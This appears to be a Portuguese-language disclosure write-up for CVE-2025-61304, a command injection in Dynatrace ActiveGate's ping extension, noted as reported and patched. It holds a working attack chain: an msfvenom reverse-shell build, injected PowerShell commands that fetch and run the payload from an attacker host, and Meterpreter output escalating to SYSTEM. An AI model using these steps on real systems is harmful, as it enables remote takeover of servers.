pentastic-be/cve-2025-61304Vulnerabilidade de injeção de comandos no sistema operacional na extensão de ping do Dynatrace ActiveGate até a versão 1.016 por meio de um endereço IP manipulado.
"Vulnerabilidade de injeção de comandos do sistema operacional na extensão de ping do Dynatrace ActiveGate até 1.016 via endereço IP manipulado"
Em segundo plano, a extensão de ping usa o prompt de comando do Windows para executar o ping. O campo de entrada para o Test Target Host também tem 1024 caracteres. Após o endereço IP, você pode escrever comandos adicionais para o ActiveGate executar, simplesmente usando um '&'.
Relatado à Dynatrace e corrigido com este commit: https://github.com/Dynatrace/dynatrace-api/pull/99
Exploit de RCE para adicionar usuário:
Lista de usuários locais antes e depois:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.51.200 LPORT=4444 -f exe > mshell.exe
google&powershell.exe $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest http://192.168.51.200/mshell.exe -OutFile c:\test\mshell.exe
google&c:\test\mshell.exe
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.51.200:4444
[*] Sending stage (200262 bytes) to 192.168.51.54
[*] Meterpreter session 3 opened (192.168.51.200:4444 -> 192.168.51.54:49800 ) at 2023-01-21 19:02:16 +0100
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter > getsystem
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-9493M3CRTDV
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows